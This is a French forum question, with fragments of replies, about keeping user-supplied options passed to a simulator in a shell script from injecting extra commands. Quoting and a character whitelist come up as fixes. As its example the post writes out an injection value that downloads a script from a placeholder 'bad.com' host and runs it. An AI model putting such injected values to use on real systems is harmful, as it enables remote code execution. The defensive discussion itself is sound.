J'ai une application wrapper où je dois laisser l'utilisateur spécifier des options personnalisées à passer à un simulateur. Cependant, je veux m'assurer que l'utilisateur n'injecte pas d'autres commandes via les options utilisateur. Quelle est la meilleure façon d'y parvenir?
Par exemple.
- L'utilisateur fournit:
-a -b
- L'application s'exécute:
mysim --preset_opt -a -b
Cependant, je ne veux pas que cela se produise:
- L'utilisateur fournit:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- L'application s'exécute:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Actuellement, je pense que je pourrais simplement entourer chaque option fournie par l'utilisateur de guillemets simples '
et supprimer tous les guillemets simples fournis par l'utilisateur, de sorte que la commande dans le dernier exemple se révèle être inoffensive:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Remarque: La mysim
commande s'exécute dans le cadre d'un script shell dans un conteneur docker / lxc. J'utilise Ubuntu.
eval
. J'appelle l'exécutable mysim
dans un script shell. Je vois l'injection se produire si je copie simplement la chaîne d'options fournie par l'utilisateur et la colle à la fin de la mysim
commande.
-a -b
. Je cherche donc à m'assurer que des commandes supplémentaires ne sont pas injectées dans cette chaîne.
[a-zA-Z0-9 _-]
ressemble à un choix assez défensif.
eval
pour exécuter l'application? Sinon, l'injection ne devrait pas avoir lieu:x="&& echo Doomed" ; echo $x